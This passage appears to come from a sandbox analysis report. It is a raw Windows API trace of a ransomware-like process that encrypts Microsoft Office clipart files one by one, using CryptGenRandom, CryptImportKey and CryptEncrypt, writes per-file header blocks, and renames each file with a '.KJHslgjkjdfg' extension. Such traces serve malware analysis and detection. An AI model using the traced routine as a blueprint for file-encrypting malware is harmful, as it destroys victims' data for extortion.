pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.211] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x687c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x687c, lpOverlapped=0x0) returned 1 [0193.212] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6880, dwBufLen=0x6880 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6880) returned 1 [0193.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.212] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6880, lpOverlapped=0x0) returned 1 [0193.213] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.213] SetEndOfFile (hFile=0x130) returned 1 [0193.216] GetProcessHeap () returned 0x2ef0000 [0193.216] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.216] GetProcessHeap () returned 0x2ef0000 [0193.216] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.kjhslgjkjdfg")) returned 1 [0193.219] CloseHandle (hObject=0x130) returned 1 [0193.219] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0193.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.220] GetProcessHeap () returned 0x2ef0000 [0193.220] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.220] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.220] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.236] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.236] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.236] GetProcessHeap () returned 0x2ef0000 [0193.236] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.236] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.237] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.237] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.237] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.237] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.237] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.237] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.237] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.237] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.237] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x133c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x133c, lpOverlapped=0x0) returned 1 [0193.238] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1340, dwBufLen=0x1340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1340) returned 1 [0193.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.238] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1340, lpOverlapped=0x0) returned 1 [0193.239] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.239] SetEndOfFile (hFile=0x130) returned 1 [0193.241] GetProcessHeap () returned 0x2ef0000 [0193.241] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.241] GetProcessHeap () returned 0x2ef0000 [0193.241] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.241] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.kjhslgjkjdfg")) returned 1 [0193.251] CloseHandle (hObject=0x130) returned 1 [0193.251] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0193.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.253] GetProcessHeap () returned 0x2ef0000 [0193.253] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.253] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.253] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0193.255] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.255] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.255] GetProcessHeap () returned 0x2ef0000 [0193.255] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.255] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.255] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.255] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.255] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.256] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.256] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.256] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.256] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.256] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.256] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xfe2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xfe2, lpOverlapped=0x0) returned 1 [0193.256] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xff0, dwBufLen=0xff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xff0) returned 1 [0193.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.256] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xff0, lpOverlapped=0x0) returned 1 [0193.256] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.256] SetEndOfFile (hFile=0x130) returned 1 [0193.259] GetProcessHeap () returned 0x2ef0000 [0193.259] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.259] GetProcessHeap () returned 0x2ef0000 [0193.259] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.kjhslgjkjdfg")) returned 1 [0193.265] CloseHandle (hObject=0x130) returned 1 [0193.265] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0193.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.266] GetProcessHeap () returned 0x2ef0000 [0193.266] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.266] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.266] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.266] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.266] GetProcessHeap () returned 0x2ef0000 [0193.266] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.266] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.266] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.266] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.269] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.269] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.269] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.269] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.269] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.269] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.269] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5f00, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5f00, lpOverlapped=0x0) returned 1 [0193.270] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f00, dwBufLen=0x5f00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f00) returned 1 [0193.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.271] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5f00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5f00, lpOverlapped=0x0) returned 1 [0193.271] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.271] SetEndOfFile (hFile=0x130) returned 1 [0193.274] GetProcessHeap () returned 0x2ef0000 [0193.274] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.274] GetProcessHeap () returned 0x2ef0000 [0193.274] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.kjhslgjkjdfg")) returned 1 [0193.278] CloseHandle (hObject=0x130) returned 1 [0193.278] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0193.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.279] GetProcessHeap () returned 0x2ef0000 [0193.279] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.279] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.279] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0193.282] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.282] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.282] GetProcessHeap () returned 0x2ef0000 [0193.282] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.282] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.282] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.282] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.282] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.282] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.282] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.282] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.283] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.283] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.283] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x60ca, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x60ca, lpOverlapped=0x0) returned 1 [0193.284] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x60d0) returned 1 [0193.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.284] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x60d0, lpOverlapped=0x0) returned 1 [0193.285] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x61a4, 